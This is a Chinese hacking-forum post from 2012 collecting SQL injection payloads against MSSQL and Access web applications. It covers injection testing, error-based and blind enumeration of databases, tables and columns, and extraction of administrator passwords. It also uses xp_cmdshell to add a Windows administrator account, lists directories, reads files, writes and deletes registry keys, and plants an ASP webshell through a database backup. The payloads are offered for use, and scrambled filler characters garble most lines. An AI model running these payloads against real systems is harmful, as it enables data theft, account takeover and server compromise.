找回密码
 立即注册
查看: 2472|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
/ I; q: z# E9 G6 `;and 1=1
) ]3 [, x7 J% }" A" T$ z;and 1=2
: X2 f2 T$ z4 Z8 h8 @2 k) }; X: j
: w* D5 F- O8 x7 P: x  v5 y0 X, M  c! K2.初步判断是否是mssql
' Y! u, o# J0 M9 G9 y" D2 K;and user>0
' C7 V. ^. n# w
( l2 P5 j3 j% ?/ L: r3.判断数据库系统 + q+ a7 K6 J( c  Z
;and (select count(*) from sysobjects)>0 mssql
9 U% j/ R; c! V7 [8 h8 l! ~" O! d;and (select count(*) from msysobjects)>0 access
* L, x) W7 ^3 H; d& _" ~' _7 S, x9 K. `% z  C! h6 \
4.注入参数是字符
1 E$ Y/ L4 t' @' z% J'and [查询条件] and ''='
% I+ s6 P' {$ o7 B" S' R0 a# W8 V& \; [' q. f0 T
5.搜索时没过滤参数的 9 u+ B% ?1 U4 U
'and [查询条件] and '%25'='
$ Q: b- R$ I$ X5 I4 v' e: G; w& }6 Q) `* V* U& f2 J
6.猜数表名 & J3 b( w) J7 Q* o
;and (select Count(*) from [表名])>0 ; C6 e9 z) G! J
5 p; ], A! z/ n) S) w( G
7.猜字段
$ ^% C! w+ ~" d7 }! V, M;and (select Count(字段名) from 表名)>0 3 X0 z! H. ?( I- t5 {
# m7 y- |- _) C0 d
8.猜字段中记录长度
4 q% _3 O1 G8 n4 P, v" t9 q3 o0 Q;and (select top 1 len(字段名) from 表名)>0
/ T& G' O3 n' d$ e" K; u' y& q3 ?+ d+ g# c- [
9.(1)猜字段的ascii值(access) 8 R+ i  o  K7 M  S
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
# \7 {) W$ n$ P+ w8 d1 ]3 J' c7 a/ @1 I- L% |+ t5 Y7 I
(2)猜字段的ascii值(mssql)
# x$ p8 f' f2 n! F& k3 z0 M; x;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ; V) a" z5 C$ F, t) @# X
5 k: V+ r+ R9 ~) q' T, n
10.测试权限结构(mssql)
" j* r+ y) I0 K( r: }: u;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, k) U% b2 ]2 M0 S. \0 y* F;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
( O* j- r! m5 K;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 }, b- ]6 ?2 X, Z% d7 ~) F* r, g;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- * M$ F( J) j3 X7 F; Y* S8 X! J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
! z2 n# S: q: Q% C;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & K  R* G4 t4 `5 \3 o' H: P
;and 1=(select IS_MEMBER('db_owner'));--
  Q4 x0 c( h3 q' k5 `- b: c
) _( H) _6 @1 C  ^; T% a; ]11.添加mssql和系统的帐户 # T" o2 [; l& U9 w
;exec master.dbo.sp_addlogin username;--
' M; o: X8 x2 J+ ^" N: Q" ?7 U% a;exec master.dbo.sp_password null,username,password;-- % g' B$ d7 J8 }
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- * s: T7 m1 ]0 |
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 4 l8 |1 S/ D3 e# B" G4 u1 p  W
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 g4 m% C: Y. _# L2 ]' R
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
5 \- Q$ j: K$ k1 q# U0 l; b: N4 ~7 }
12.(1)遍历目录
: k8 q4 j* }8 u, P  H- T7 ?# U) r. f;create table dirs(paths varchar(100), id int) * p  E; ]9 N; a2 u' L
;insert dirs exec master.dbo.xp_dirtree 'c:\' - ?* D- x1 J6 _
;and (select top 1 paths from dirs)>0 9 D# b( F" B8 W- g0 _6 G: h
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ' s- {& U, v; }

! U. E! w5 W. t# y! ?(2)遍历目录
2 f% S4 `% b! d3 {% I, t+ c;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
+ B( q" @' h7 h& l;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
) j; M* d# V9 F8 W7 u4 P;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 O$ J' j6 R/ E6 h) o. J;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
. M+ M& P3 |5 D  R3 r;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 w3 X9 h, _6 Q. d: L
) E# g* X% }2 j( r% o
13.mssql中的存储过程
* U  q; l" S) y7 ?xp_regenumvalues 注册表根键, 子键
  ]8 F% |8 e- c5 l" `;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
8 C; d. e$ Z+ |( b0 kxp_regread 根键,子键,键值名 3 T  P6 G" G* [! N5 O
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 m/ A# F. v6 F4 M
xp_regwrite 根键,子键, 值名, 值类型, 值 4 J( `4 n, a! i
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ \2 R, ]; s) N;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 + ~4 R! E  Z* @$ V2 h+ v2 q/ q+ J
xp_regdeletevalue 根键,子键,值名
/ g5 J; M6 P8 {) [  W3 \% [: Jexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
7 X( i2 o6 m4 Z6 s5 Mxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 q; \! d. h8 l; B  l6 f
4 h( G$ u& t! q) g8 L' o
14.mssql的backup创建webshell 9 z" E( Q$ Z- [: s9 ~
use model
/ q$ r7 S$ J9 s/ T3 ocreate table cmd(str image); ! F9 G. M. P$ A# [3 W, W. c" ^
insert into cmd(str) values ('<% Dim oScript %>'); 9 X- y$ h% L7 {' T+ \
backup database model to disk='c:\l.asp';
7 ~% k6 H' G1 B7 l9 `% j
) ]. U6 v) @) k% {' z  n3 S15.mssql内置函数
. n% X# k4 ~( ]- h- `4 N0 X;and (select @@version)>0 获得Windows的版本号
- M* v8 L2 o' d;and user_name()='dbo' 判断当前系统的连接用户是不是sa % e; I% B: O% w
;and (select user_name())>0 爆当前系统的连接用户
0 a/ U6 t1 v& t! s& w% a4 W7 H;and (select db_name())>0 得到当前连接的数据库
# d- V6 {0 ?4 S+ l4 b" ^2 ~& ]4 i3 L- a% A' `! @1 t8 _

. N/ y' P  X/ S. ]5 @0 ]" y/ X3 ?) o2 Y' X2 ~9 B8 M, G9 x
MSSQL手注暴库
5 I+ M+ J0 X  @  }0 Y  |3 c+ n1 G+ V% _0 _7 C
1.暴出当前表名和列名
, n5 o# j1 c& [1 y3 x& R# [  c& z# F在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。; v: P/ s. }! `2 h- C$ T

% V- ?/ |: j8 u& G第一.爆出所有数据库名
# Q8 `; y" @% B利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
5 V3 m' C9 M/ G第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
* A; V* Q) w5 B8 M  w! \- @
6 i6 O$ l. h: B0 k6 i5 Y& wand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
1 O! z7 t: L9 }# B
4 L2 V3 _' X( I  G
) M3 p2 e% d, E: s# Y& [6 b第二.爆出指定库中的所有表名
" b5 {" `- j5 x: C+ _7 W8 x得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。, H: a6 C3 v1 h+ l
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. R1 [. C  d. \$ z! [% U- Y; W0 y

' ?( l5 F( I6 [3 [0 z; t' b2 Eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
' `2 h/ a# C6 g: vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
" d" y5 T$ C% Z( f  `8 `$ mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
* Z# d+ @  d! V8 V7 e! a" z7 t4 _( ^) a9 Q
4.爆出指定表中的所有列名4 c" N- g" z0 l/ M: o0 z* {5 J9 A1 e
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
/ e# v! V3 D0 z. |//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' y. @+ u/ V. t
! c. E* J0 a# s2 K( z) p' ?1 a
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
/ z# |0 H9 u2 t/ P7 m% E
; Z* Z. H1 J) N) o! U再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- , o' X/ L4 r1 n4 S% U/ B) \! [
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
# D) O) J( P% `2 u0 b9 c+ X) r/ X4 A( s: a" @6 [% g9 Z
% z0 ^) c7 k5 a' S
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值- t  X* }" L/ v5 J0 Z6 X
& K6 v9 O0 t& |- a9 W% h
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
) R/ \5 W8 @; }2 Q, L0 J1 {
) A" u% d% f! Oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 K, o3 m1 T3 y  e& r5 G* S
0 b4 f  v! Z4 A  j
6 o+ v1 Q7 z" E7 h
" O4 K2 w! E. ?
5.读取指定表中的数据! ^0 U" c% J! F3 L' n* F  Y* w) u% U

4 Y7 E! m  I4 r. o8 Q0 ]and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
( @6 B8 P) g* U% r$ w0 R# w0 }- \6 A( `! c5 M2 ^! Y
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--& z- K# L$ A9 D5 s

* c5 ]& n0 U- |8 M" ?, B& Iand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
  L! s$ s+ n7 A  G: z: P
. d  U; U2 I, P( M/ v8 a& ^  r7 s: _5 n" T9 Y" u2 ?3 k! B' g3 L
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
0 X1 a! E' G' e( G* Q- P+ p/ g# g  ?0 X, h1 i9 _
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)' ~# N. H2 q1 j- m) d; a
# F0 S( i; g  |" B; T* ?) c
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--9 a6 l4 H/ W( h, B3 C- D4 z
" d$ u% L( l+ ?7 I
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。4 \/ k' f4 }5 ]$ V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表